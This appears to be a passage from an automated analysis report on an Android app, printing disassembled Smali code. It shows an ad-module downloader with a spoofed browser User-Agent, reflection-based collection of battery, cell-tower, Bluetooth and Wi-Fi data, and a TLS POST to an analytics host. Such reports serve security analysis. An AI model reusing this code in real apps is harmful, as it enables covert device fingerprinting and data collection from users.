                                                                              52iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              53mul-int/2addr v8, v9
                                                                              54add-int/lit8 v2, v8, -0x1
                                                                              56const-string v8, "Range"
                                                                              57new-instance v9, Ljava/lang/StringBuilder;
                                                                              59invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                                                                              61const-string v10, "bytes="
                                                                              63invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              64move-result-object v9
                                                                              66invoke-virtual {v9, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              67move-result-object v9
                                                                              69const-string v10, "-"
                                                                              71invoke-virtual {v9, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              72move-result-object v9
                                                                              74invoke-virtual {v9, v2}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              75move-result-object v9
                                                                              77invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              78move-result-object v9
                                                                              80invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              82const-string v8, "User-Agent"
                                                                              84const-string v9, "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
                                                                              86invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              88const-string v8, "Connection"
                                                                              90const-string v9, "Keep-Alive"
                                                                              92invoke-virtual {v3, v8, v9}, Ljava/net/HttpURLConnection;->setRequestProperty(Ljava/lang/String;Ljava/lang/String;)V
                                                                              94invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream;
                                                                              95move-result-object v4
                                                                              96const/16 v8, 0x400
                                                                              97new-array v0, v8, [B
                                                                              98const/4 v5, 0x0
                                                                              99new-instance v8, Ljava/lang/StringBuilder;
                                                                              101invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              103const-string v9, "Thread "
                                                                              105invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              106move-result-object v8
                                                                              107iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              109invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              110move-result-object v8
                                                                              112const-string v9, " start download from position "
                                                                              114invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              115move-result-object v8
                                                                              117invoke-virtual {v8, v6}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              118move-result-object v8
                                                                              120invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              121move-result-object v8
                                                                              123invoke-static {v8}, Lcom/android/leech/main/ad/mini/download/DownloadThread;->print(Ljava/lang/String;)V
                                                                              124new-instance v7, Ljava/io/RandomAccessFile;
                                                                              126iget-object v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->saveFile:Ljava/io/File;
                                                                              128const-string v9, "rwd"
                                                                              130invoke-direct {v7, v8, v9}, Ljava/io/RandomAccessFile;-><init>(Ljava/io/File;Ljava/lang/String;)V
                                                                              131int-to-long v8, v6
                                                                              133invoke-virtual {v7, v8, v9}, Ljava/io/RandomAccessFile;->seek(J)V
                                                                              134goto_b3: const/4 v8, 0x0
                                                                              135const/16 v9, 0x400
                                                                              137invoke-virtual {v4, v0, v8, v9}, Ljava/io/InputStream;->read([BII)I
                                                                              138move-result v5
                                                                              139if-eq v5, v11, :cond_fa
                                                                              140const/4 v8, 0x0
                                                                              142invoke-virtual {v7, v0, v8, v5}, Ljava/io/RandomAccessFile;->write([BII)V
                                                                              143iget v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              144add-int/2addr v8, v5
                                                                              145iput v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              147iget-object v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downloader:Lcom/android/leech/main/ad/mini/download/FileDownloader;
                                                                              148iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              149iget v10, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              151invoke-virtual {v8, v9, v10}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->update(II)V
                                                                              153iget-object v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downloader:Lcom/android/leech/main/ad/mini/download/FileDownloader;
                                                                              155invoke-virtual {v8, v5}, Lcom/android/leech/main/ad/mini/download/FileDownloader;->append(I)V
                                                                              156try_end_d3: goto/16 :goto_b3
                                                                              157catch_d4: move-exception v1
                                                                              158iput v11, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->downLength:I
                                                                              159new-instance v8, Ljava/lang/StringBuilder;
                                                                              161invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              163const-string v9, "Thread "
                                                                              165invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              166move-result-object v8
                                                                              167iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              169invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              170move-result-object v8
                                                                              172const-string v9, ":"
                                                                              174invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              175move-result-object v8
                                                                              177invoke-virtual {v8, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              178move-result-object v8
                                                                              180invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              181move-result-object v8
                                                                              183invoke-static {v8}, Lcom/android/leech/main/ad/mini/download/DownloadThread;->print(Ljava/lang/String;)V
                                                                              184cond_f9: return-void
                                                                              185cond_fa:
                                                                              186invoke-virtual {v7}, Ljava/io/RandomAccessFile;->close()V
                                                                              188invoke-virtual {v4}, Ljava/io/InputStream;->close()V
                                                                              189new-instance v8, Ljava/lang/StringBuilder;
                                                                              191invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V
                                                                              193const-string v9, "Thread "
                                                                              195invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              196move-result-object v8
                                                                              197iget v9, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->threadId:I
                                                                              199invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              200move-result-object v8
                                                                              202const-string v9, " download finish"
                                                                              204invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              205move-result-object v8
                                                                              207invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              208move-result-object v8
                                                                              210invoke-static {v8}, Lcom/android/leech/main/ad/mini/download/DownloadThread;->print(Ljava/lang/String;)V
                                                                              211const/4 v8, 0x1
                                                                              212iput-boolean v8, p0, Lcom/android/leech/main/ad/mini/download/DownloadThread;->finish:Z
                                                                              213try_end_121: goto/16 :goto_f9
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.<init>
                                                                              • org.json.JSONObject.put
                                                                              • org.json.JSONObject.has
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Object.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.Object.toString
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.content.Context.getApplicationContext
                                                                              • android.content.Context.getSharedPreferences
                                                                              • android.content.SharedPreferences.edit
                                                                              • android.content.SharedPreferences$Editor.putString
                                                                              • android.content.SharedPreferences$Editor.commit
                                                                              Strings
                                                                              • walle
                                                                              • [internal] workEvent
                                                                              • [internal] workEvent send envelope
                                                                              • com.umeng.commonsdk.internal.UMInternalManagerAgent
                                                                              • sendInternalEnvelopeByStateful2
                                                                              • i_sdk_v
                                                                              • 1.2.0
                                                                              • inner
                                                                              • exception
                                                                              • [internal] workEvent send envelope back, result is ok
                                                                              • [internal] workEvent cache battery, event is
                                                                              • com.umeng.commonsdk.internal.utils.UMInternalUtilsAgent
                                                                              • saveBattery
                                                                              • [internal] workEvent cache station, event is
                                                                              • saveBaseStationStrength
                                                                              • com.umeng.commonsdk.internal.utils.InfoPreferenceAgent
                                                                              • saveBluetoothInfo
                                                                              • com.umeng.commonsdk.internal.utils.ApplicationLayerUtilAgent
                                                                              • wifiChange
                                                                              • saveUA
                                                                              • info
                                                                              • stat
                                                                              Position Instruction Meta Information
                                                                              0const/4 v3, 0x1
                                                                              1const/4 v4, 0x0
                                                                              3const-string v0, "walle"
                                                                              4new-array v1, v3, [Ljava/lang/Object;
                                                                              6const-string v2, "[internal] workEvent"
                                                                              7aput-object v2, v1, v4
                                                                              9invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              10packed-switch p2, :pswitch_data_1e2
                                                                              11cond_10: return-void
                                                                              12pswitch_11:
                                                                              13const-string v0, "walle"
                                                                              14const/4 v1, 0x1
                                                                              15new-array v1, v1, [Ljava/lang/Object;
                                                                              16const/4 v2, 0x0
                                                                              18const-string v3, "[internal] workEvent send envelope"
                                                                              19aput-object v3, v1, v2
                                                                              21invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              22try_start_1e:
                                                                              23const-string v0, "com.umeng.commonsdk.internal.UMInternalManagerAgent"
                                                                              25invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              26move-result-object v0
                                                                              27if-eqz v0, :cond_10
                                                                              29const-string v1, "sendInternalEnvelopeByStateful2"
                                                                              30const/4 v2, 0x1
                                                                              31new-array v2, v2, [Ljava/lang/Class;
                                                                              32const/4 v3, 0x0
                                                                              33const-class v4, Landroid/content/Context;
                                                                              34aput-object v4, v2, v3
                                                                              36invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              37move-result-object v1
                                                                              38const/4 v2, 0x1
                                                                              39new-array v2, v2, [Ljava/lang/Object;
                                                                              40const/4 v3, 0x0
                                                                              42iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              43aput-object v4, v2, v3
                                                                              45invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              46try_end_3f: goto/16 :goto_10
                                                                              47catch_40: move-exception v0
                                                                              48goto/16 :goto_10
                                                                              49pswitch_42:
                                                                              50const-string v0, "walle"
                                                                              51const/4 v1, 0x1
                                                                              52new-array v1, v1, [Ljava/lang/Object;
                                                                              53const/4 v2, 0x0
                                                                              55const-string v3, "[internal] workEvent send envelope"
                                                                              56aput-object v3, v1, v2
                                                                              58invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              59new-instance v0, Lorg/json/JSONObject;
                                                                              61invoke-direct {v0}, Lorg/json/JSONObject;-><init>()V
                                                                              63const-string v1, "i_sdk_v"
                                                                              65const-string v2, "1.2.0"
                                                                              67invoke-virtual {v0, v1, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              68new-instance v1, Lorg/json/JSONObject;
                                                                              70invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                                                                              72const-string v2, "inner"
                                                                              73new-instance v3, Lorg/json/JSONObject;
                                                                              75invoke-direct {v3}, Lorg/json/JSONObject;-><init>()V
                                                                              77invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                                                                              79iget-object v2, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              81invoke-static {v2, v0, v1}, LuAgent/commonsdk/framework/UMEnvelopeBuild;->buildEnvelopeWithExtHeader(Landroid/content/Context;Lorg/json/JSONObject;Lorg/json/JSONObject;)Lorg/json/JSONObject;
                                                                              82move-result-object v0
                                                                              83if-eqz v0, :cond_10
                                                                              85const-string v1, "exception"
                                                                              87invoke-virtual {v0, v1}, Lorg/json/JSONObject;->has(Ljava/lang/String;)Z
                                                                              88move-result v0
                                                                              89if-nez v0, :cond_10
                                                                              91const-string v0, "walle"
                                                                              92const/4 v1, 0x1
                                                                              93new-array v1, v1, [Ljava/lang/Object;
                                                                              94const/4 v2, 0x0
                                                                              96const-string v3, "[internal] workEvent send envelope back, result is ok"
                                                                              97aput-object v3, v1, v2
                                                                              99invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              100try_end_87: goto/16 :goto_10
                                                                              101catch_88: move-exception v0
                                                                              102goto/16 :goto_10
                                                                              103pswitch_8a:
                                                                              104const-string v0, "walle"
                                                                              105new-array v1, v3, [Ljava/lang/Object;
                                                                              106new-instance v2, Ljava/lang/StringBuilder;
                                                                              108invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              110const-string v3, "[internal] workEvent cache battery, event is "
                                                                              112invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              113move-result-object v2
                                                                              115invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                                              116move-result-object v3
                                                                              118invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              119move-result-object v2
                                                                              121invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              122move-result-object v2
                                                                              123aput-object v2, v1, v4
                                                                              125invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              126try_start_aa:
                                                                              127const-string v0, "com.umeng.commonsdk.internal.utils.UMInternalUtilsAgent"
                                                                              129invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              130move-result-object v0
                                                                              131if-eqz v0, :cond_10
                                                                              133const-string v1, "saveBattery"
                                                                              134const/4 v2, 0x2
                                                                              135new-array v2, v2, [Ljava/lang/Class;
                                                                              136const/4 v3, 0x0
                                                                              137const-class v4, Landroid/content/Context;
                                                                              138aput-object v4, v2, v3
                                                                              139const/4 v3, 0x1
                                                                              140const-class v4, Ljava/lang/String;
                                                                              141aput-object v4, v2, v3
                                                                              143invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              144move-result-object v1
                                                                              145check-cast p1, Ljava/lang/String;
                                                                              146const/4 v2, 0x2
                                                                              147new-array v2, v2, [Ljava/lang/Object;
                                                                              148const/4 v3, 0x0
                                                                              150iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              151aput-object v4, v2, v3
                                                                              152const/4 v3, 0x1
                                                                              153aput-object p1, v2, v3
                                                                              155invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              156try_end_d5: goto/16 :goto_10
                                                                              157catch_d7: move-exception v0
                                                                              158goto/16 :goto_10
                                                                              159pswitch_da:
                                                                              160const-string v0, "walle"
                                                                              161new-array v1, v3, [Ljava/lang/Object;
                                                                              162new-instance v2, Ljava/lang/StringBuilder;
                                                                              164invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              166const-string v3, "[internal] workEvent cache station, event is "
                                                                              168invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              169move-result-object v2
                                                                              171invoke-virtual {p1}, Ljava/lang/Object;->toString()Ljava/lang/String;
                                                                              172move-result-object v3
                                                                              174invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              175move-result-object v2
                                                                              177invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              178move-result-object v2
                                                                              179aput-object v2, v1, v4
                                                                              181invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              182try_start_fa:
                                                                              183const-string v0, "com.umeng.commonsdk.internal.utils.UMInternalUtilsAgent"
                                                                              185invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              186move-result-object v0
                                                                              187if-eqz v0, :cond_10
                                                                              189const-string v1, "saveBaseStationStrength"
                                                                              190const/4 v2, 0x2
                                                                              191new-array v2, v2, [Ljava/lang/Class;
                                                                              192const/4 v3, 0x0
                                                                              193const-class v4, Landroid/content/Context;
                                                                              194aput-object v4, v2, v3
                                                                              195const/4 v3, 0x1
                                                                              196const-class v4, Ljava/lang/String;
                                                                              197aput-object v4, v2, v3
                                                                              199invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              200move-result-object v1
                                                                              201check-cast p1, Ljava/lang/String;
                                                                              202const/4 v2, 0x2
                                                                              203new-array v2, v2, [Ljava/lang/Object;
                                                                              204const/4 v3, 0x0
                                                                              206iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              207aput-object v4, v2, v3
                                                                              208const/4 v3, 0x1
                                                                              209aput-object p1, v2, v3
                                                                              211invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              212try_end_125: goto/16 :goto_10
                                                                              213catch_127: move-exception v0
                                                                              214goto/16 :goto_10
                                                                              215pswitch_12a:
                                                                              216const-string v0, "com.umeng.commonsdk.internal.utils.InfoPreferenceAgent"
                                                                              218invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              219move-result-object v0
                                                                              220if-eqz v0, :cond_10
                                                                              222const-string v1, "saveBluetoothInfo"
                                                                              223const/4 v2, 0x2
                                                                              224new-array v2, v2, [Ljava/lang/Class;
                                                                              225const/4 v3, 0x0
                                                                              226const-class v4, Landroid/content/Context;
                                                                              227aput-object v4, v2, v3
                                                                              228const/4 v3, 0x1
                                                                              229const-class v4, Ljava/lang/Object;
                                                                              230aput-object v4, v2, v3
                                                                              232invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              233move-result-object v1
                                                                              234const/4 v2, 0x2
                                                                              235new-array v2, v2, [Ljava/lang/Object;
                                                                              236const/4 v3, 0x0
                                                                              238iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              239aput-object v4, v2, v3
                                                                              240const/4 v3, 0x1
                                                                              241aput-object p1, v2, v3
                                                                              243invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              244try_end_153: goto/16 :goto_10
                                                                              245catch_155: move-exception v0
                                                                              246goto/16 :goto_10
                                                                              247pswitch_158:
                                                                              248const-string v0, "com.umeng.commonsdk.internal.utils.ApplicationLayerUtilAgent"
                                                                              250invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              251move-result-object v0
                                                                              252if-eqz v0, :cond_10
                                                                              254const-string v1, "wifiChange"
                                                                              255const/4 v2, 0x1
                                                                              256new-array v2, v2, [Ljava/lang/Class;
                                                                              257const/4 v3, 0x0
                                                                              258const-class v4, Landroid/content/Context;
                                                                              259aput-object v4, v2, v3
                                                                              261invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              262move-result-object v1
                                                                              263const/4 v2, 0x1
                                                                              264new-array v2, v2, [Ljava/lang/Object;
                                                                              265const/4 v3, 0x0
                                                                              267iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              268aput-object v4, v2, v3
                                                                              270invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              271try_end_179: goto/16 :goto_10
                                                                              272catch_17b: move-exception v0
                                                                              273goto/16 :goto_10
                                                                              274pswitch_17e:
                                                                              275const-string v0, "com.umeng.commonsdk.internal.utils.InfoPreferenceAgent"
                                                                              277invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              278move-result-object v0
                                                                              279if-eqz v0, :cond_10
                                                                              281const-string v1, "saveUA"
                                                                              282const/4 v2, 0x2
                                                                              283new-array v2, v2, [Ljava/lang/Class;
                                                                              284const/4 v3, 0x0
                                                                              285const-class v4, Landroid/content/Context;
                                                                              286aput-object v4, v2, v3
                                                                              287const/4 v3, 0x1
                                                                              288const-class v4, Ljava/lang/String;
                                                                              289aput-object v4, v2, v3
                                                                              291invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              292move-result-object v1
                                                                              293check-cast p1, Ljava/lang/String;
                                                                              294const/4 v2, 0x2
                                                                              295new-array v2, v2, [Ljava/lang/Object;
                                                                              296const/4 v3, 0x0
                                                                              298iget-object v4, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              299aput-object v4, v2, v3
                                                                              300const/4 v3, 0x1
                                                                              301aput-object p1, v2, v3
                                                                              303invoke-virtual {v1, v0, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              304try_end_1a9: goto/16 :goto_10
                                                                              305catch_1ab: move-exception v0
                                                                              306goto/16 :goto_10
                                                                              307pswitch_1ae:
                                                                              308iget-object v0, p0, LuAgent/commonsdk/internal/c;->a:Landroid/content/Context;
                                                                              310invoke-virtual {v0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              311move-result-object v0
                                                                              313const-string v1, "info"
                                                                              315invoke-virtual {v0, v1, v4}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
                                                                              316move-result-object v0
                                                                              317if-eqz v0, :cond_10
                                                                              319invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                                                                              320move-result-object v0
                                                                              322const-string v1, "stat"
                                                                              323check-cast p1, Ljava/lang/String;
                                                                              325invoke-interface {v0, v1, p1}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                                                                              326move-result-object v0
                                                                              328invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                                                                              329goto/16 :goto_10
                                                                              330catch_1cd: move-exception v0
                                                                              331goto/16 :goto_10
                                                                              332catch_1d0: move-exception v0
                                                                              333goto/16 :goto_10
                                                                              334catch_1d3: move-exception v0
                                                                              335goto/16 :goto_10
                                                                              336catch_1d6: move-exception v0
                                                                              337goto/16 :goto_10
                                                                              338catch_1d9: move-exception v0
                                                                              339goto/16 :goto_10
                                                                              340catch_1dc: move-exception v0
                                                                              341goto/16 :goto_10
                                                                              342catch_1df: move-exception v0
                                                                              343goto/16 :goto_10
                                                                              Cross References
                                                                              APIs
                                                                              • java.net.Proxy$Type.HTTP:Ljava/net/Proxy$Type
                                                                              • java.net.InetSocketAddress.<init>
                                                                              • java.net.Proxy.<init>
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • org.apache.http.conn.ssl.SSLSocketFactory.STRICT_HOSTNAME_VERIFIER:Lorg/apache/http/conn/ssl/X509HostnameVerifier
                                                                              • javax.net.ssl.HttpsURLConnection.setDefaultHostnameVerifier
                                                                              • javax.net.ssl.SSLContext.getInstance
                                                                              • java.security.SecureRandom.<init>
                                                                              • javax.net.ssl.SSLContext.init
                                                                              • javax.net.ssl.SSLContext.getSocketFactory
                                                                              • javax.net.ssl.HttpsURLConnection.setDefaultSSLSocketFactory
                                                                              • java.lang.System.currentTimeMillis
                                                                              • java.lang.String.valueOf
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestProperty
                                                                              • javax.net.ssl.HttpsURLConnection.setConnectTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setReadTimeout
                                                                              • javax.net.ssl.HttpsURLConnection.setRequestMethod
                                                                              • javax.net.ssl.HttpsURLConnection.setDoOutput
                                                                              • javax.net.ssl.HttpsURLConnection.setDoInput
                                                                              • javax.net.ssl.HttpsURLConnection.setUseCaches
                                                                              • javax.net.ssl.HttpsURLConnection.getOutputStream
                                                                              • java.io.OutputStream.write
                                                                              • java.io.OutputStream.flush
                                                                              • javax.net.ssl.HttpsURLConnection.connect
                                                                              • javax.net.ssl.HttpsURLConnection.getResponseCode
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              • java.io.OutputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.getInputStream
                                                                              • java.io.InputStream.close
                                                                              • javax.net.ssl.HttpsURLConnection.disconnect
                                                                              Strings
                                                                              • walle
                                                                              • [stateless] sendMessage, envelopeByte == null || path == null
                                                                              • https://plbslog.umeng.com/
                                                                              • TLS
                                                                              • X-Umeng-UTC
                                                                              • Msg-Type
                                                                              • envelope/json
                                                                              • POST
                                                                              • SSLHandshakeException, Failed to send message.
                                                                              • Exception,Failed to send message.
                                                                              Position Instruction Meta Information
                                                                              0const/4 v4, 0x1
                                                                              1const/4 v2, 0x0
                                                                              2const/4 v1, 0x0
                                                                              3if-eqz p1, :cond_7
                                                                              4if-nez p2, :cond_15
                                                                              5cond_7:
                                                                              6const-string v0, "walle"
                                                                              7new-array v1, v4, [Ljava/lang/Object;
                                                                              9const-string v3, "[stateless] sendMessage, envelopeByte == null || path == null "
                                                                              10aput-object v3, v1, v2
                                                                              12invoke-static {v0, v1}, LuAgent/commonsdk/statistics/common/e;->a(Ljava/lang/String;[Ljava/lang/Object;)V
                                                                              13move v0, v2
                                                                              14goto_13: move v2, v0
                                                                              15goto_14: return v2
                                                                              16cond_15:
                                                                              17invoke-direct {p0}, LuAgent/commonsdk/stateless/e;->a()Z
                                                                              18move-result v0
                                                                              19if-eqz v0, :cond_bf
                                                                              20new-instance v0, Ljava/net/Proxy;
                                                                              22sget-object v3, Ljava/net/Proxy$Type;->HTTP:Ljava/net/Proxy$Type;
